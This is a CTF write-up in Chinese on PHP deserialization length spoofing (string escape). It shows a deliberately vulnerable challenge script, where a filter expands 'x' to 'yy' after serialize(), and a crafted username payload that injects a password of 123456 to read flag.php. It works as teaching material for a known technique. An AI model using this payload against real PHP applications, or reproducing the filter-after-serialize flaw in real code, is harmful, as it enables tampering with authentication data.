【PolarCTF】Unserialize_Escape

PHP反序列化长度欺骗

首先了解几个前置知识:

1、了解序列化后的基本格式

复制代码
# a表示2个元素
# i表示当前元素的索引
# s表示字符串长度

a:2:{i:0;s:6:"小明";i:1;s:5:"aaaaa";}

2、PHP反序列化是"信任长度前缀"的,遇到s:N时,就会读取N的长度,读完N个字符后就会期待下一个字符必须是 " 才算这个字符串结束。然后期待 ;,继续解析下一个元素

3、这里password是写死的,不接收外部的数据传递,所以我们没办法直接控制

复制代码
<?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
function filter($string){
    # 将匹配到的x替换成yy
    return preg_replace('/x/', 'yy', $string);
}
# 从POST请求拿key为username的数据赋值给变量$username
$username = $_POST['username'];

$password = "aaaaa";
# 创建数组,user[0]为username,user[1]为password
# 这里user[0]我们可以控制
$user = array($username, $password);

$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
    echo file_get_contents('flag.php');
}

通过这题我们可以看到想要获取flag,必须要password为123456,但是我们没办法控制password的内容,因为是写死的。那么我们就可以借助filter函数配合PHP反序列化的长度欺骗来实现绕过

接下来我们来写payload

首先我们写让password为123456的payload

复制代码
# 长度为20 
";i:1;s:6:"123456";}

然后我们再前面的username

复制代码
# 总共20个x
xxxxxxxxxxxxxxxxxxxx

然后和上面的payload合在一起

最后的payload如下

复制代码
# 总长度为40
xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}

我们梳理下,我们把这串内容发送到服务端

由于有一个filter函数会把x变成yy,那么我们把payload发送到服务端就会变成

复制代码
a:2:{i:0;s:40:"yyy...y(40个y)";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}

可以看到s依旧是40,读取完y之后。成功按照预期读取到了"和; 此时,php就开始默认下一个元素就是第二个元素从而实现password为123456

而末尾多余的 ";i:1;s:5:"aaaaa";} 呢?PHP 会发个警告(Extra data),但 仍然返回解析好的数组,不影响结果。

成功get flag

相关推荐
admin and root11 小时前
「AI安全篇」实战AntiDebug自动化JS逆向加解密MCP
javascript·人工智能·网络安全·自动化·漏洞挖掘·cnvd·src赏金
泛联新安13 小时前
软件定义汽车时代,如何让AI研发“可信”?——泛联新安构建汽车企业级可信AI体系的落地路径
大数据·人工智能·安全·网络安全·汽车·漏洞挖掘·代码安全
菩提小狗18 小时前
每日安全情报报告 · 2026-09-29
网络安全·漏洞·cve·安全情报·每日安全
Daorigin_com1 天前
道本科技携手DeepSeek:以AI重塑合同全生命周期管理
前端·人工智能·科技·网络安全·数据挖掘·前端框架·传媒
白帽攻防录1 天前
SRC 挖洞:Apache Tomcat 加密拦截器绕过深度复盘,CVE-2026-34486 fail-open 一行代码怎么打穿集群通信
java·网络安全·tomcat·apache
学逆向的1 天前
win32消息类型
windows·网络安全·mfc·api·win32
白帽攻防录1 天前
SRC 挖洞:GitLab GraphQL 指令绕过深度复盘,CVE-2026-19478 未授权删项目怎么打穿代码托管平台
网络·网络安全·gitlab·graphql
Johny_Zhao1 天前
FreeRADIUS + 华为AC/AP + 802.1X/WPA2-Enterprise 无线认证对接部署完整指南
网络·网络安全·信息安全·ldap·radius·huawei·系统运维·centos8
锐速网络2 天前
轻量化安全建设指南:无需硬件的SaaS化勒索病毒防御方案
网络安全·云备份·主机安全·saas安全·勒索病毒防护·轻量化安全·中小企业安全
小小小小钰儿2 天前
1.5-Python网络编程
开发语言·网络·python·web安全·计算机·网络安全